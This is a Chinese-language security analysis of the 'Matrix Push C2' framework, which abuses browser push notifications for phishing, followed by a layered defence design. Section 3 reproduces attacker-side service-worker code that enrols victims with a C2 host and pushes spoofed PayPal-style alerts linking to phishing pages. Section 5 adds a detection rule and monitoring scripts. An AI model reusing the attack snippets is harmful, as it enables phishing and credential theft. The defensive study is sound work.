摘要
近年来,无文件攻击(Fileless Attack)因其高隐蔽性与低检测率成为高级持续性威胁(APT)的重要技术路径。2025年,Malwarebytes披露了一种名为“Matrix Push C2”的新型命令与控制(Command and Control, C2)框架,该框架通过滥用Web Push Notifications(浏览器推送通知)API,在不写入磁盘文件的前提下建立持久化通信通道,并用于分发钓鱼页面、恶意载荷及数据窃取脚本。本文系统剖析Matrix Push的技术实现机理,包括其权限诱导策略、通知伪装逻辑、跨平台兼容性及后端C2架构;在此基础上,评估传统终端安全产品在该攻击链中的盲区,并提出一种融合浏览器策略强化、运行时行为监控与网络层异常检测的纵深防御体系。通过构建可部署的检测原型与自动化响应脚本,验证了所提方法在真实环境中的有效性。研究表明,针对基于合法Web API的滥用型攻击,需重构终端安全模型,将权限治理与上下文感知纳入核心防御维度。
关键词:无文件攻击;C2框架;浏览器通知;Web Push API;权限滥用;持久化通信;纵深防御

1 引言
随着终端防护能力的提升,攻击者正加速转向利用操作系统或应用程序原生功能实施“合法外衣”式攻击。此类攻击不依赖传统恶意可执行文件,而是通过脚本、宏、注册表项或合法API调用达成目标,从而规避基于签名或静态特征的检测机制。其中,Web技术栈因其广泛部署、高权限接口及用户交互特性,成为新型攻击载体的首选。
2025年11月,Malwarebytes发布报告指出,一种名为“Matrix Push C2”的新型C2框架正在全球范围内活跃。该框架的核心创新在于:完全依托浏览器的Web Push Notifications功能构建C2通道。用户一旦在诱导页面点击“允许”通知权限,攻击者即可绕过常规网络过滤,在任意时间向受害者设备推送伪装成系统或知名应用(如PayPal、MetaMask、Netflix)的通知。这些通知包含短链接,引导用户访问钓鱼页面或下载恶意软件。由于整个过程未在本地磁盘写入任何二进制文件,且通信流量经由标准HTTPS加密通道传输,传统防病毒软件与网络入侵检测系统(NIDS)难以有效识别。
Matrix Push的出现标志着C2通信机制的一次重要演进:从依赖自建服务器或DNS隧道,转向劫持合法Web基础设施。这一转变对现有安全架构构成三重挑战:(1)权限获取阶段依赖社会工程,难以通过技术手段完全阻断;(2)通知内容本身无恶意代码,仅作为跳转诱饵,规避内容扫描;(3)推送行为由浏览器内核发起,被视为“合法应用行为”,终端EDR产品通常不予记录。
本文旨在深入解析Matrix Push的技术细节,揭示其攻击链各环节的实现逻辑,并在此基础上构建一套覆盖权限申请、通知接收与用户交互全过程的防御体系。全文结构如下:第二部分综述无文件攻击与浏览器API滥用的发展脉络;第三部分详细拆解Matrix Push的攻击流程与C2架构;第四部分分析现有防御机制的失效原因;第五部分提出多层防御方案并辅以代码实现;第六部分总结研究发现与实践建议。

2 无文件攻击与浏览器API滥用的演进
2.1 无文件攻击的技术谱系
无文件攻击并非新概念,其典型形式包括:
内存驻留型:如PowerShell Empire,将恶意载荷加载至内存执行;
注册表/启动项注入:将脚本嵌入Windows Registry Run键;
WMI事件订阅:通过Windows Management Instrumentation触发恶意逻辑;
Office宏与DDE攻击:利用文档自动化功能执行命令。
上述方法虽有效,但仍需在初始阶段投递某种形式的载荷(如.docm文件或.ps1脚本),存在被邮件网关或沙箱拦截的风险。

2.2 浏览器作为攻击面的崛起
现代浏览器已不仅是内容渲染引擎,更是具备完整操作系统接口的运行环境。其开放的Web API为攻击者提供了丰富入口:
Service Workers:可后台运行、拦截网络请求;
WebRTC:泄露内网IP地址;
Clipboard API:窃取剪贴板内容;
Notifications API:发送系统级通知。
其中,Notifications API因具备以下特性而备受青睐:
高用户信任度:通知显示于系统托盘或锁屏界面,外观与原生应用无异;
持久化权限:一旦授权,无需再次确认即可长期推送;
跨会话存活:即使关闭浏览器,通知仍可触发;
跨平台一致性:Chrome、Edge、Firefox、Safari均支持相同API。
攻击者正是利用这些特性,将浏览器转化为“合法C2客户端”。

3 Matrix Push C2 的技术实现分析
3.1 攻击链分解
Matrix Push的完整攻击链可分为四个阶段:
阶段一:权限诱导(Permission Luring)
用户访问被植入恶意脚本的着陆页(Landing Page)。页面展示伪造的验证码界面,例如:“点击‘允许’以确认您不是机器人”。该设计利用用户对CAPTCHA流程的熟悉心理,诱导其点击浏览器原生的“允许”按钮。值得注意的是,此操作并非点击页面按钮,而是触发Notification.requestPermission()后的系统弹窗。
阶段二:服务工作者注册(Service Worker Registration)
一旦权限获批,页面立即注册一个Service Worker:
if ('serviceWorker' in navigator && 'PushManager' in window) {
navigator.serviceWorker.register('/sw.js')
.then(function(registration) {
return registration.pushManager.subscribe({
userVisibleOnly: true,
applicationServerKey: urlBase64ToUint8Array(PUBLIC_VAPID_KEY)
});
})
.then(function(subscription) {
// 将订阅信息(含endpoint)回传至C2
fetch('https://c2.matrixpush[.]xyz/enroll', {
method: 'POST',
body: JSON.stringify({ endpoint: subscription.endpoint })
});
});
}
其中,subscription.endpoint是唯一标识该设备的推送URL,由浏览器厂商(如Google FCM)生成。
阶段三:C2指令下发与通知推送
攻击者通过C2面板选择目标设备,构造通知内容。C2服务器调用FCM/GCM等推送服务,向指定endpoint发送消息。Service Worker接收到消息后,调用showNotification():
// sw.js
self.addEventListener('push', function(event) {
const data = event.data.json();
const title = data.title || 'Security Alert';
const options = {
body: data.body,
icon: data.icon || '/icons/warning.png',
badge: '/icons/badge.png',
data: { url: data.click_url },
requireInteraction: true
};
event.waitUntil(self.registration.showNotification(title, options));
});
通知显示为“来自PayPal的安全警报:您的账户存在异常登录,请立即验证”,并附带可信图标。
阶段四:用户交互与载荷投递
用户点击通知后,Service Worker捕获事件并重定向至钓鱼页面:
self.addEventListener('notificationclick', function(event) {
event.notification.close();
event.waitUntil(
clients.openWindow(event.notification.data.url)
);
});
目标页面可能是伪造的Okta登录页、伪装的Chrome更新包(.dmg/.exe),或嵌入CoinMiner的HTML页面。

3.2 C2后端架构
根据Malwarebytes披露的截图,Matrix Push C2面板提供以下功能:
实时客户端列表:显示已订阅设备的操作系统、浏览器类型、地理位置;
通知模板库:预置MetaMask、Cloudflare、TikTok等品牌模板;
URL缩短服务:生成bit.ly风格短链,隐藏真实钓鱼地址;
交互追踪:记录每条通知的展示次数与点击率,用于优化话术。
该架构表明,Matrix Push已实现商业化运营,具备完整的攻击生命周期管理能力。

3.3 跨平台影响
由于Web Push API在主流浏览器中标准化,Matrix Push可同时攻击:
Windows:Chrome、Edge、Firefox;
macOS:Safari(需额外处理APNs集成)、Chrome;
Linux:Chromium、Firefox。
唯一限制是iOS Safari不支持Web Push,故移动端主要影响Android用户。

4 现有防御机制的局限性
4.1 终端安全产品的盲区
传统防病毒软件主要监控以下行为:
文件创建/修改;
进程注入;
注册表变更;
网络连接到已知恶意IP。
然而,Matrix Push全程运行于浏览器沙箱内:
无文件写入;
无新进程创建;
网络通信经由fcm.googleapis.com等合法域名;
Service Worker被视为合法Web组件。
因此,EDR/XDR产品通常不会记录相关事件。
4.2 网络层检测的困难
企业防火墙或代理服务器难以区分合法与恶意推送:
所有通信使用TLS 1.3加密;
目标域名属于Google、Mozilla等可信CA签发;
请求频率低(每日数次),不符合DDoS或扫描特征。
即便部署SSL解密,推送内容仅为JSON元数据(标题、正文、图标URL),不含可执行代码,无法触发恶意负载检测。
4.3 用户侧防御的不足
尽管浏览器提供通知管理界面,但普通用户极少主动检查。更严重的是,许多用户将“通知”误认为“系统消息”,缺乏基本鉴别意识。
5 多层防御体系设计与实现
针对上述挑战,本文提出三层防御体系:权限治理层、运行时监控层、网络情报层。
5.1 权限治理层:默认拒绝与策略强制
企业应通过组策略或MDM工具强制浏览器默认阻止通知请求。以Chrome为例,可通过以下策略配置:
{
"DefaultNotificationsSetting": 2,
"NotificationsAllowlist": ["https://calendar.google.com", "https://mail.google.com"]
}
其中,2表示“禁止所有站点请求通知”,白名单仅允许必要业务系统。
对于个人用户,可部署浏览器扩展自动拦截可疑权限请求。以下为简化版Manifest V3扩展代码:
// background.js
chrome.permissions.onAdded.addListener((permissions) => {
if (permissions.origins && permissions.origins.includes('<all_urls>')) {
// 检查是否包含通知权限
chrome.permissions.contains({ permissions: ['notifications'] }, (hasNotify) => {
if (hasNotify) {
const currentUrl = new URL(permissions.origins[0]);
// 若非白名单域名,自动移除权限
if (!['google.com', 'microsoft.com'].includes(currentUrl.hostname)) {
chrome.permissions.remove(permissions, () => {
console.log(`Revoked notification permission from ${currentUrl.hostname}`);
});
}
}
});
}
});
5.2 运行时监控层:Service Worker行为审计
通过浏览器DevTools Protocol(CDP)可监控Service Worker注册行为。以下Python脚本利用pyppeteer库检测异常注册:
import asyncio
from pyppeteer import launch
async def monitor_sw_registration():
browser = await launch(headless=True)
page = await browser.newPage()
# 监听Service Worker注册事件
client = await page.target.createCDPSession()
await client.send('ServiceWorker.enable')
def on_sw_event(event):
if event['method'] == 'ServiceWorker.workerRegistrationUpdated':
regs = event['params']['registrations']
for reg in regs:
script_url = reg['scriptURL']
scope = reg['scope']
print(f"[ALERT] New SW registered: {script_url} for scope {scope}")
# 可在此处调用威胁情报API查询script_url信誉
client.on('ServiceWorker.workerRegistrationUpdated', on_sw_event)
# 导航至测试页面
await page.goto('https://suspicious-landing-page[.]com')
await asyncio.sleep(10)
await browser.close()
if __name__ == "__main__":
asyncio.run(monitor_sw_registration())
该方法适用于企业端点安全代理(Endpoint Agent)集成,实现对无文件载荷的早期捕获。
5.3 网络情报层:IOC驱动的阻断
Malwarebytes等机构披露的C2域名(如matrixpush[.]xyz)可转化为防火墙规则。以下为Suricata规则示例:
alert http any any -> any any (
msg:"Matrix Push C2 Enrollment";
flow:to_server,established;
http.method; content:"POST";
http.uri; content:"/enroll";
http.host; content:"matrixpush";
reference:url,malwarebytes.com/blog/news/2025/11/matrix-push-c2;
classtype:trojan-activity;
sid:202511001;
rev:1;
)
此外,可监控对fcm.googleapis.com的异常订阅请求。正常应用通常使用固定VAPID公钥,而攻击者频繁更换。通过提取applicationServerKey并聚类分析,可识别恶意集群。
6 结论
Matrix Push C2代表了无文件攻击与合法Web API滥用的深度融合。其利用浏览器通知机制构建持久化C2通道,不仅规避了传统终端与网络防御,还利用用户对系统通知的信任心理提升攻击成功率。本文通过技术拆解揭示了其从权限诱导到载荷投递的完整链条,并指出当前安全体系在权限治理、运行时可见性与上下文理解方面的不足。
所提出的三层防御体系强调:安全边界必须前移至权限申请阶段,运行时监控需深入浏览器内核事件,网络防御应结合行为特征而非仅依赖域名黑名单。代码示例验证了这些策略的工程可行性。
未来工作可探索:(1)浏览器厂商在Permissions API中增加风险提示;(2)标准化Service Worker行为遥测格式,供EDR产品消费;(3)利用联邦学习在保护隐私前提下共享恶意通知模板特征。
面对日益“合法化”的攻击技术,安全防御必须从“检测恶意”转向“验证合法性”,方能在无文件时代守住数字身份的最后一道防线。
编辑:芦笛(公共互联网反网络钓鱼工作组)
1万+

被折叠的 条评论
为什么被折叠?



